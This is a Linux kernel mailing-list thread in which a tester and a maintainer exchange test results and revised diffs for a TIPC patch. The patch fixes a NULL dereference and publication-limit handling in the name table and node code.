a/net/tipc/node.c > +++ b/net/tipc/node.c > @@ -111,6 +111,9 @@ struct tipc_bclink_entry { > * @peer_net: peer's net namespace > * @peer_hash_mix: hash for this peer (FIXME) > * @crypto_rx: RX crypto handler > + * @work: work item for bulk distribution of cluster scope publications > + * @work_scheduled: flag to indicate the work has been scheduled > + * @finalized: flag to wake up scheduled work > */ > struct tipc_node { > u32 addr; > @@ -145,6 +148,9 @@ struct tipc_node { > #ifdef CONFIG_TIPC_CRYPTO > struct tipc_crypto *crypto_rx; > #endif > + struct work_struct work; > + atomic_t work_scheduled; > + atomic_t finalized; > }; > > /* Node FSM states and events: > @@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n) > write_unlock_bh(&n->lock); > } > > +static void tipc_node_down(struct tipc_node *n) > +{ > + u32 bearer_id, bearer_cnt; > + > + tipc_node_read_lock(n); > + bearer_cnt = n->link_cnt; > + tipc_node_read_unlock(n); > + for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++) > + tipc_node_link_down(n, bearer_id, false); > +} > + > +static void tipc_node_dist_bulk(struct work_struct *work) > +{ > + struct tipc_node *node = container_of(work, struct tipc_node, work); > + struct tipc_net *tn = tipc_net(node->net); > + > + wait_var_event(&node->finalized, atomic_read(&node->finalized)); > + > + /* node is down */ > + if (!atomic_read(&node->work_scheduled)) > + goto exit; > + > + /* Stop waking up work in tipc_node_timeout() */ > + atomic_set(&node->work_scheduled, 0); > + > + if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) > + tipc_node_down(node); > + > +exit: > + if (atomic_dec_and_test(&tn->node_wq_count)) > + wake_up_var(&tn->node_wq_count); > + > + tipc_node_put(node); > +} > + > +static void tipc_node_cancel_work(struct tipc_node *node) > +{ > + if (atomic_read(&node->work_scheduled)) { > + struct tipc_net *tn = tipc_net(node->net); > + > + /* Wake up scheduled work if it is waiting. */ > + if (!atomic_read(&node->finalized)) { > + atomic_set(&node->work_scheduled, 0); > + atomic_set(&node->finalized, 1); > + wake_up_var(&node->finalized); > + } > + > + /* Work is pending */ > + if (cancel_work(&node->work)) { > + if (atomic_dec_and_test(&tn->node_wq_count)) > + wake_up_var(&tn->node_wq_count); > + tipc_node_put(node); > + } > + } > +} > + > static void tipc_node_write_unlock(struct tipc_node *n) > __releases(n->lock) > { > @@ -421,11 +483,30 @@ static void tipc_node_write_unlock(struct tipc_node *n) > > write_unlock_bh(&n->lock); > > - if (flags & TIPC_NOTIFY_NODE_DOWN) > + if (flags & TIPC_NOTIFY_NODE_DOWN) { > tipc_publ_notify(net, publ_list, node, n->capabilities); > - > - if (flags & TIPC_NOTIFY_NODE_UP) > - tipc_named_node_up(net, node, n->capabilities); > + tipc_node_cancel_work(n); > + } > + > + if (flags & TIPC_NOTIFY_NODE_UP) { > + struct tipc_net *tn = tipc_net(net); > + int rc = 0; > + > + rc = tipc_named_node_up(net, node, n->capabilities); > + /* Defer bulk distribution to work queue */ > + if (rc > 0) { > + atomic_set(&n->work_scheduled, 1); > + atomic_inc(&tn->node_wq_count); > + tipc_node_get(n); > + if (!schedule_work(&n->work)) > + tipc_node_put(n); > + } else if (rc < 0) { > + /* Bring the node down to start over bulk distribution > + * when the first link is up again. > + */ > + tipc_node_down(n); > + } > + } > > if (flags & TIPC_NOTIFY_LINK_UP) { > tipc_mon_peer_up(net, node, bearer_id); > @@ -564,6 +645,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id, > INIT_LIST_HEAD(&n->list); > INIT_LIST_HEAD(&n->publ_list); > INIT_LIST_HEAD(&n->conn_sks); > + INIT_WORK(&n->work, tipc_node_dist_bulk); > + atomic_set(&n->work_scheduled, 0); > + atomic_set(&n->finalized, 0); > skb_queue_head_init(&n->bc_entry.namedq); > skb_queue_head_init(&n->bc_entry.inputq1); > __skb_queue_head_init(&n->bc_entry.arrvq); > @@ -653,6 +737,21 @@ void tipc_node_stop(struct net *net) > spin_unlock_bh(&tn->node_list_lock); > } > > +void tipc_node_wakeup(struct net *net) > +{ > + struct tipc_net *tn = tipc_net(net); > + struct tipc_node *node; > + > + rcu_read_lock(); > + list_for_each_entry_rcu(node, &tn->node_list, list) { > + if (atomic_read(&node->work_scheduled)) { > + atomic_set(&node->finalized, 1); > + wake_up_var(&node->finalized); > + } > + } > + rcu_read_unlock(); > +} > + > void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr) > { > struct tipc_node *n; > @@ -801,6 +900,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer) > static void tipc_node_timeout(struct timer_list *t) > { > struct tipc_node *n = timer_container_of(n, t, timer); > + struct tipc_net *tn = tipc_net(n->net); > struct tipc_link_entry *le; > struct sk_buff_head xmitq; > int remains = n->link_cnt; > @@ -814,6 +914,11 @@ static void tipc_node_timeout(struct timer_list *t) > return; > } > > + if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) { > + atomic_set(&n->finalized, 1); > + wake_up_var(&n->finalized); > + } > + > #ifdef CONFIG_TIPC_CRYPTO > /* Take any crypto key related actions first */ > tipc_crypto_timeout(n->crypto_rx); > diff --git a/net/tipc/node.h b/net/tipc/node.h > index 154a5bbb0d29..c7bc3bc05328 100644 > --- a/net/tipc/node.h > +++ b/net/tipc/node.h > @@ -75,6 +75,7 @@ enum { > #define INVALID_BEARER_ID -1 > > void tipc_node_stop(struct net *net); > +void tipc_node_wakeup(struct net *net); > bool tipc_node_get_id(struct net *net, u32 addr, u8 *id); > u32 tipc_node_get_addr(struct tipc_node *node); > char *tipc_node_get_id_str(struct tipc_node *node); > -- > 2.43.0 Hi Tung, I tested this on v7.2-rc5 with the same reproducer from my previous mail. The NULL dereference is fixed, and the reproducer completed the full 400-second run. I did not see the parked worker or hung-task report after bringing the bearer down. But I found one remaining issue in the name table change. Once local_publ_count reaches 65534, this check rejects all publications, including TIPC_NODE_STATE: if (nt->local_publ_count >= max_user_pub) goto exit; The protocol type check only happens later when updating the counter, so the reserved slot cannot actually be used. I see this immediately after both node numbers are assigned: [ 4.023556] tipc: Node number set to 572662306 [ 4.028422] tipc: Bind failed, max limit 65534 reached [ 4.029343] tipc: Node number set to 286331153 [ 4.033912] tipc: Bind failed, max limit 65534 reached After that, the bind failure repeats together with type-2 "Failed to remove unknown binding" messages. It looks like the limit check also needs to skip NODE_STATE, LINK_STATE and TOP_SRV, as the counter update does. Thanks, Weiming Shi ^ permalink raw reply [flat|nested] 14+ messages in thread
* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-28 17:57 ` Weiming Shi @ 2026-07-29 3:50 ` Tung Quang Nguyen 2026-07-29 4:18 ` Weiming Shi 0 siblings, 1 reply; 14+ messages in thread From: Tung Quang Nguyen @ 2026-07-29 3:50 UTC (permalink / raw) To: Weiming Shi Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion >It looks like the limit check also needs to skip NODE_STATE, LINK_STATE and >TOP_SRV, as the counter update does. I fixed the missing skip for these protocol service types and another counter leak in below updated patch. Could you please verify it ? Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech> --- net/tipc/core.c | 3 ++ net/tipc/core.h | 4 ++ net/tipc/name_distr.c | 91 +++++++++++++++++++++++++++++---- net/tipc/name_distr.h | 3 +- net/tipc/name_table.c | 30 +++++++++-- net/tipc/net.c | 5 ++ net/tipc/node.c | 115 ++++++++++++++++++++++++++++++++++++++++-- net/tipc/node.h | 1 + 8 files changed, 234 insertions(+), 18 deletions(-) diff --git a/net/tipc/core.c b/net/tipc/core.c index 315975c3be81..1e1fe78cc4ee 100644 --- a/net/tipc/core.c +++ b/net/tipc/core.c @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net) tn->trial_addr = 0; tn->addr_trial_end = 0; tn->capabilities = TIPC_NODE_CAPABILITIES; + atomic_set(&tn->node_wq_count, 0); + atomic_set(&tn->finalized, 0); INIT_WORK(&tn->work, tipc_net_finalize_work); memset(tn->node_id, 0, sizeof(tn->node_id)); memset(tn->node_id_string, 0, sizeof(tn->node_id_string)); @@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net) #ifdef CONFIG_TIPC_CRYPTO tipc_crypto_stop(&tipc_net(net)->crypto_tx); #endif + wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count)); wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0); } diff --git a/net/tipc/core.h b/net/tipc/core.h index 9ce5f9ff6cc0..be335ce83389 100644 --- a/net/tipc/core.h +++ b/net/tipc/core.h @@ -145,6 +145,10 @@ struct tipc_net { struct work_struct work; /* The numbers of work queues in schedule */ atomic_t wq_count; + /* The numbers of works of created nodes in schedule */ + atomic_t node_wq_count; + /* flag to wake up scheduled works of created nodes */ + atomic_t finalized; }; static inline struct tipc_net *tipc_net(struct net *net) diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c index ba4f4906e13b..e701824bbb2a 100644 --- a/net/tipc/name_distr.c +++ b/net/tipc/name_distr.c @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p) * @pls: linked list of publication items to be packed into buffer chain * @seqno: sequence number for this message */ -static void named_distribute(struct net *net, struct sk_buff_head *list, - u32 dnode, struct list_head *pls, u16 seqno) +static int named_distribute(struct net *net, struct sk_buff_head *list, + u32 dnode, struct list_head *pls, u16 seqno) { struct publication *publ; struct sk_buff *skb = NULL; @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, skb = named_prepare_buf(net, PUBLICATION, msg_rem, dnode); if (!skb) { + __skb_queue_purge(list); pr_warn("Bulk publication failure\n"); - return; + return 1; } hdr = buf_msg(skb); msg_set_bc_ack_invalid(hdr, true); @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, hdr = buf_msg(skb_peek_tail(list)); msg_set_last_bulk(hdr); msg_set_named_seqno(hdr, seqno); + + return 0; } /** - * tipc_named_node_up - tell specified node about all publications by this node + * tipc_named_distribute - distribute all publications to specified node * @net: the associated network namespace * @dnode: destination node - * @capabilities: peer node's capabilities */ -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) +static int tipc_named_distribute(struct net *net, u32 dnode) { struct name_table *nt = tipc_name_table(net); struct tipc_net *tn = tipc_net(net); @@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) __skb_queue_head_init(&head); spin_lock_bh(&tn->nametbl_lock); - if (!(capabilities & TIPC_NAMED_BCAST)) - nt->rc_dests++; seqno = nt->snd_nxt; spin_unlock_bh(&tn->nametbl_lock); read_lock_bh(&nt->cluster_scope_lock); - named_distribute(net, &head, dnode, &nt->cluster_scope, seqno); + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { + read_unlock_bh(&nt->cluster_scope_lock); + return -ENOBUFS; + } tipc_node_xmit(net, &head, dnode, 0); read_unlock_bh(&nt->cluster_scope_lock); + + return 0; +} + +/** + * tipc_named_node_up - tell specified node about all publications by this node + * @net: the associated network namespace + * @dnode: destination node + * @capabilities: peer node's capabilities + */ +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) +{ + struct name_table *nt = tipc_name_table(net); + struct tipc_net *tn = tipc_net(net); + + spin_lock_bh(&tn->nametbl_lock); + if (!(capabilities & TIPC_NAMED_BCAST)) + nt->rc_dests++; + spin_unlock_bh(&tn->nametbl_lock); + + read_lock_bh(&nt->cluster_scope_lock); + /* 1. tipc_net_finalize_work() is not scheduled because of namespace + * teardown. + * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed + * to insert node self address publication to nt->cluster_scope + * due to memory allocation failure. + * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not + * executed yet. + */ + if (unlikely(list_empty(&nt->cluster_scope))) { + read_unlock_bh(&nt->cluster_scope_lock); + return 1; + } + read_unlock_bh(&nt->cluster_scope_lock); + + return tipc_named_distribute(net, dnode); +} + +/** + * tipc_named_dist_cluster_scope - distribute all publications to specified node + * @net: the associated network namespace + * @dnode: destination node + */ +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) +{ + struct name_table *nt = tipc_name_table(net); + bool reinsert = false; + + read_lock_bh(&nt->cluster_scope_lock); + if (unlikely(list_empty(&nt->cluster_scope))) + reinsert = true; + read_unlock_bh(&nt->cluster_scope_lock); + /* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert + * node self address publication to nt->cluster_scope due to memory + * allocation failure. So, reinsert this publication. + */ + if (reinsert) { + struct tipc_net *tn = tipc_net(net); + struct tipc_socket_addr sk; + struct tipc_uaddr ua; + + sk.ref = 0; + sk.node = tn->node_addr; + tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE, + TIPC_NODE_STATE, tn->node_addr, tn->node_addr); + if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr)) + return -ENOBUFS; + } + + return tipc_named_distribute(net, dnode); } /** diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h index c677f6f082df..cadf4e8c3e66 100644 --- a/net/tipc/name_distr.h +++ b/net/tipc/name_distr.h @@ -69,7 +69,8 @@ struct distr_item { struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ); struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ); -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode); void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq, u16 *rcv_nxt, bool *open); void tipc_named_reinit(struct net *net); diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c index 253c72d1366e..d651605f95f2 100644 --- a/net/tipc/name_table.c +++ b/net/tipc/name_table.c @@ -763,21 +763,40 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua, struct tipc_socket_addr *sk, u32 key) { struct name_table *nt = tipc_name_table(net); + u32 max_user_pub = TIPC_MAX_PUBL - 1; struct tipc_net *tn = tipc_net(net); struct publication *p = NULL; struct sk_buff *skb = NULL; + bool protocol_type = false; u32 rc_dests; + if (ua->sr.type == TIPC_NODE_STATE || ua->sr.type == TIPC_LINK_STATE || + ua->sr.type == TIPC_TOP_SRV) + protocol_type = true; + spin_lock_bh(&tn->nametbl_lock); + if (protocol_type) + goto insert; - if (nt->local_publ_count >= TIPC_MAX_PUBL) { - pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL); + /* Reserve one entry for node state service type because it has cluster + * scope and it is distributed in bulk. So, the maximum number of user's + * publications is (TIPC_MAX_PUBL - 1). + */ + if (nt->local_publ_count >= max_user_pub) { + pr_warn("Bind failed, max limit %u reached\n", max_user_pub); goto exit; } +insert: p = tipc_nametbl_insert_publ(net, ua, sk, key); if (p) { - nt->local_publ_count++; + /* Not count node state, link state and topology server types + * so that maximum nt->local_publ_count does not prevent + * protocol service types from being inserted to the name + * table. + */ + if (!protocol_type) + nt->local_publ_count++; skb = tipc_named_publish(net, p); } rc_dests = nt->rc_dests; @@ -810,7 +829,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua, p = tipc_nametbl_remove_publ(net, ua, sk, key); if (p) { - nt->local_publ_count--; + if (p->sr.type != TIPC_NODE_STATE && + p->sr.type != TIPC_LINK_STATE && + p->sr.type != TIPC_TOP_SRV) + nt->local_publ_count--; skb = tipc_named_withdraw(net, p); list_del_init(&p->binding_sock); kfree_rcu(p, rcu); diff --git a/net/tipc/net.c b/net/tipc/net.c index 7e65d0b0c4a8..75ac4e3cd01a 100644 --- a/net/tipc/net.c +++ b/net/tipc/net.c @@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr) tipc_sk_reinit(net); tipc_mon_reinit_self(net); tipc_nametbl_publish(net, &ua, &sk, addr); + atomic_set(&tn->finalized, 1); + /* Wake up nodes waiting for distributing bulk of publications + * if applicable. + */ + tipc_node_wakeup(net); } void tipc_net_finalize_work(struct work_struct *work) diff --git a/net/tipc/node.c b/net/tipc/node.c index 8e4ef2630ae4..ae7be02a65a9 100644 --- a/net/tipc/node.c +++ b/net/tipc/node.c @@ -111,6 +111,9 @@ struct tipc_bclink_entry { * @peer_net: peer's net namespace * @peer_hash_mix: hash for this peer (FIXME) * @crypto_rx: RX crypto handler + * @work: work item for bulk distribution of cluster scope publications + * @work_scheduled: flag to indicate the work has been scheduled + * @finalized: flag to wake up scheduled work */ struct tipc_node { u32 addr; @@ -145,6 +148,9 @@ struct tipc_node { #ifdef CONFIG_TIPC_CRYPTO struct tipc_crypto *crypto_rx; #endif + struct work_struct work; + atomic_t work_scheduled; + atomic_t finalized; }; /* Node FSM states and events: @@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n) write_unlock_bh(&n->lock); } +static void tipc_node_down(struct tipc_node *n) +{ + u32 bearer_id, bearer_cnt; + + tipc_node_read_lock(n); + bearer_cnt = n->link_cnt; + tipc_node_read_unlock(n); + for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++) + tipc_node_link_down(n, bearer_id, false); +} + +static void tipc_node_dist_bulk(struct work_struct *work) +{ + struct tipc_node *node = container_of(work, struct tipc_node, work); + struct tipc_net *tn = tipc_net(node->net); + + wait_var_event(&node->finalized, atomic_read(&node->finalized)); + + /* node is down */ + if (!atomic_read(&node->work_scheduled)) + goto exit; + + /* Stop waking up work in tipc_node_timeout() */ + atomic_set(&node->work_scheduled, 0); + + if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) + tipc_node_down(node); + +exit: + if (atomic_dec_and_test(&tn->node_wq_count)) + wake_up_var(&tn->node_wq_count); + + tipc_node_put(node); +} + +static void tipc_node_cancel_work(struct tipc_node *node) +{ + if (atomic_read(&node->work_scheduled)) { + struct tipc_net *tn = tipc_net(node->net); + + /* Wake up scheduled work if it is waiting. */ + if (!atomic_read(&node->finalized)) { + atomic_set(&node->work_scheduled, 0); + atomic_set(&node->finalized, 1); + wake_up_var(&node->finalized); + } + + /* Work is pending */ + if (cancel_work(&node->work)) { + if (atomic_dec_and_test(&tn->node_wq_count)) + wake_up_var(&tn->node_wq_count); + tipc_node_put(node); + } + } +} + static void tipc_node_write_unlock(struct tipc_node *n) __releases(n->lock) { @@ -421,11 +483,32 @@ static void tipc_node_write_unlock(struct tipc_node *n) write_unlock_bh(&n->lock); - if (flags & TIPC_NOTIFY_NODE_DOWN) + if (flags & TIPC_NOTIFY_NODE_DOWN) { tipc_publ_notify(net, publ_list, node, n->capabilities); - - if (flags & TIPC_NOTIFY_NODE_UP) - tipc_named_node_up(net, node, n->capabilities); + tipc_node_cancel_work(n); + } + + if (flags & TIPC_NOTIFY_NODE_UP) { + struct tipc_net *tn = tipc_net(net); + int rc = 0; + + rc = tipc_named_node_up(net, node, n->capabilities); + /* Defer bulk distribution to work queue */ + if (rc > 0) { + atomic_set(&n->work_scheduled, 1); + atomic_inc(&tn->node_wq_count); + tipc_node_get(n); + if (!schedule_work(&n->work)) { + atomic_dec(&tn->node_wq_count); + tipc_node_put(n); + } + } else if (rc < 0) { + /* Bring the node down to start over bulk distribution + * when the first link is up again. + */ + tipc_node_down(n); + } + } if (flags & TIPC_NOTIFY_LINK_UP) { tipc_mon_peer_up(net, node, bearer_id); @@ -564,6 +647,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id, INIT_LIST_HEAD(&n->list); INIT_LIST_HEAD(&n->publ_list); INIT_LIST_HEAD(&n->conn_sks); + INIT_WORK(&n->work, tipc_node_dist_bulk); + atomic_set(&n->work_scheduled, 0); + atomic_set(&n->finalized, 0); skb_queue_head_init(&n->bc_entry.namedq); skb_queue_head_init(&n->bc_entry.inputq1); __skb_queue_head_init(&n->bc_entry.arrvq); @@ -653,6 +739,21 @@ void tipc_node_stop(struct net *net) spin_unlock_bh(&tn->node_list_lock); } +void tipc_node_wakeup(struct net *net) +{ + struct tipc_net *tn = tipc_net(net); + struct tipc_node *node; + + rcu_read_lock(); + list_for_each_entry_rcu(node, &tn->node_list, list) { + if (atomic_read(&node->work_scheduled)) { + atomic_set(&node->finalized, 1); + wake_up_var(&node->finalized); + } + } + rcu_read_unlock(); +} + void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr) { struct tipc_node *n; @@ -801,6 +902,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer) static void tipc_node_timeout(struct timer_list *t) { struct tipc_node *n = timer_container_of(n, t, timer); + struct tipc_net *tn = tipc_net(n->net); struct tipc_link_entry *le; struct sk_buff_head xmitq; int remains = n->link_cnt; @@ -814,6 +916,11 @@ static void tipc_node_timeout(struct timer_list *t) return; } + if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) { + atomic_set(&n->finalized, 1); + wake_up_var(&n->finalized); + } + #ifdef CONFIG_TIPC_CRYPTO /* Take any crypto key related actions first */ tipc_crypto_timeout(n->crypto_rx); diff --git a/net/tipc/node.h b/net/tipc/node.h index 154a5bbb0d29..c7bc3bc05328 100644 --- a/net/tipc/node.h +++ b/net/tipc/node.h @@ -75,6 +75,7 @@ enum { #define INVALID_BEARER_ID -1 void tipc_node_stop(struct net *net); +void tipc_node_wakeup(struct net *net); bool tipc_node_get_id(struct net *net, u32 addr, u8 *id); u32 tipc_node_get_addr(struct tipc_node *node); char *tipc_node_get_id_str(struct tipc_node *node); -- 2.43.0 ^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-29 3:50 ` Tung Quang Nguyen @ 2026-07-29 4:18 ` Weiming Shi 0 siblings, 0 replies; 14+ messages in thread From: Weiming Shi @ 2026-07-29 4:18 UTC (permalink / raw) To: Tung Quang Nguyen Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月29日周三 11:50写道： > > >It looks like the limit check also needs to skip NODE_STATE, LINK_STATE and > >TOP_SRV, as the counter update does. > I fixed the missing skip for these protocol service types and another counter leak in below updated patch. > Could you please verify it ? > > Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech> > --- > net/tipc/core.c | 3 ++ > net/tipc/core.h | 4 ++ > net/tipc/name_distr.c | 91 +++++++++++++++++++++++++++++---- > net/tipc/name_distr.h | 3 +- > net/tipc/name_table.c | 30 +++++++++-- > net/tipc/net.c | 5 ++ > net/tipc/node.c | 115 ++++++++++++++++++++++++++++++++++++++++-- > net/tipc/node.h | 1 + > 8 files changed, 234 insertions(+), 18 deletions(-) > > diff --git a/net/tipc/core.c b/net/tipc/core.c > index 315975c3be81..1e1fe78cc4ee 100644 > --- a/net/tipc/core.c > +++ b/net/tipc/core.c > @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net) > tn->trial_addr = 0; > tn->addr_trial_end = 0; > tn->capabilities = TIPC_NODE_CAPABILITIES; > + atomic_set(&tn->node_wq_count, 0); > + atomic_set(&tn->finalized, 0); > INIT_WORK(&tn->work, tipc_net_finalize_work); > memset(tn->node_id, 0, sizeof(tn->node_id)); > memset(tn->node_id_string, 0, sizeof(tn->node_id_string)); > @@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net) > #ifdef CONFIG_TIPC_CRYPTO > tipc_crypto_stop(&tipc_net(net)->crypto_tx); > #endif > + wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count)); > wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0); > } > > diff --git a/net/tipc/core.h b/net/tipc/core.h > index 9ce5f9ff6cc0..be335ce83389 100644 > --- a/net/tipc/core.h > +++ b/net/tipc/core.h > @@ -145,6 +145,10 @@ struct tipc_net { > struct work_struct work; > /* The numbers of work queues in schedule */ > atomic_t wq_count; > + /* The numbers of works of created nodes in schedule */ > + atomic_t node_wq_count; > + /* flag to wake up scheduled works of created nodes */ > + atomic_t finalized; > }; > > static inline struct tipc_net *tipc_net(struct net *net) > diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c > index ba4f4906e13b..e701824bbb2a 100644 > --- a/net/tipc/name_distr.c > +++ b/net/tipc/name_distr.c > @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p) > * @pls: linked list of publication items to be packed into buffer chain > * @seqno: sequence number for this message > */ > -static void named_distribute(struct net *net, struct sk_buff_head *list, > - u32 dnode, struct list_head *pls, u16 seqno) > +static int named_distribute(struct net *net, struct sk_buff_head *list, > + u32 dnode, struct list_head *pls, u16 seqno) > { > struct publication *publ; > struct sk_buff *skb = NULL; > @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, > skb = named_prepare_buf(net, PUBLICATION, msg_rem, > dnode); > if (!skb) { > + __skb_queue_purge(list); > pr_warn("Bulk publication failure\n"); > - return; > + return 1; > } > hdr = buf_msg(skb); > msg_set_bc_ack_invalid(hdr, true); > @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list, > hdr = buf_msg(skb_peek_tail(list)); > msg_set_last_bulk(hdr); > msg_set_named_seqno(hdr, seqno); > + > + return 0; > } > > /** > - * tipc_named_node_up - tell specified node about all publications by this node > + * tipc_named_distribute - distribute all publications to specified node > * @net: the associated network namespace > * @dnode: destination node > - * @capabilities: peer node's capabilities > */ > -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > +static int tipc_named_distribute(struct net *net, u32 dnode) > { > struct name_table *nt = tipc_name_table(net); > struct tipc_net *tn = tipc_net(net); > @@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > > __skb_queue_head_init(&head); > spin_lock_bh(&tn->nametbl_lock); > - if (!(capabilities & TIPC_NAMED_BCAST)) > - nt->rc_dests++; > seqno = nt->snd_nxt; > spin_unlock_bh(&tn->nametbl_lock); > > read_lock_bh(&nt->cluster_scope_lock); > - named_distribute(net, &head, dnode, &nt->cluster_scope, seqno); > + if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) { > + read_unlock_bh(&nt->cluster_scope_lock); > + return -ENOBUFS; > + } > tipc_node_xmit(net, &head, dnode, 0); > read_unlock_bh(&nt->cluster_scope_lock); > + > + return 0; > +} > + > +/** > + * tipc_named_node_up - tell specified node about all publications by this node > + * @net: the associated network namespace > + * @dnode: destination node > + * @capabilities: peer node's capabilities > + */ > +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities) > +{ > + struct name_table *nt = tipc_name_table(net); > + struct tipc_net *tn = tipc_net(net); > + > + spin_lock_bh(&tn->nametbl_lock); > + if (!(capabilities & TIPC_NAMED_BCAST)) > + nt->rc_dests++; > + spin_unlock_bh(&tn->nametbl_lock); > + > + read_lock_bh(&nt->cluster_scope_lock); > + /* 1. tipc_net_finalize_work() is not scheduled because of namespace > + * teardown. > + * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed > + * to insert node self address publication to nt->cluster_scope > + * due to memory allocation failure. > + * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not > + * executed yet. > + */ > + if (unlikely(list_empty(&nt->cluster_scope))) { > + read_unlock_bh(&nt->cluster_scope_lock); > + return 1; > + } > + read_unlock_bh(&nt->cluster_scope_lock); > + > + return tipc_named_distribute(net, dnode); > +} > + > +/** > + * tipc_named_dist_cluster_scope - distribute all publications to specified node > + * @net: the associated network namespace > + * @dnode: destination node > + */ > +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode) > +{ > + struct name_table *nt = tipc_name_table(net); > + bool reinsert = false; > + > + read_lock_bh(&nt->cluster_scope_lock); > + if (unlikely(list_empty(&nt->cluster_scope))) > + reinsert = true; > + read_unlock_bh(&nt->cluster_scope_lock); > + /* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert > + * node self address publication to nt->cluster_scope due to memory > + * allocation failure. So, reinsert this publication. > + */ > + if (reinsert) { > + struct tipc_net *tn = tipc_net(net); > + struct tipc_socket_addr sk; > + struct tipc_uaddr ua; > + > + sk.ref = 0; > + sk.node = tn->node_addr; > + tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE, > + TIPC_NODE_STATE, tn->node_addr, tn->node_addr); > + if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr)) > + return -ENOBUFS; > + } > + > + return tipc_named_distribute(net, dnode); > } > > /** > diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h > index c677f6f082df..cadf4e8c3e66 100644 > --- a/net/tipc/name_distr.h > +++ b/net/tipc/name_distr.h > @@ -69,7 +69,8 @@ struct distr_item { > > struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ); > struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ); > -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); > +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities); > +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode); > void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq, > u16 *rcv_nxt, bool *open); > void tipc_named_reinit(struct net *net); > diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c > index 253c72d1366e..d651605f95f2 100644 > --- a/net/tipc/name_table.c > +++ b/net/tipc/name_table.c > @@ -763,21 +763,40 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua, > struct tipc_socket_addr *sk, u32 key) > { > struct name_table *nt = tipc_name_table(net); 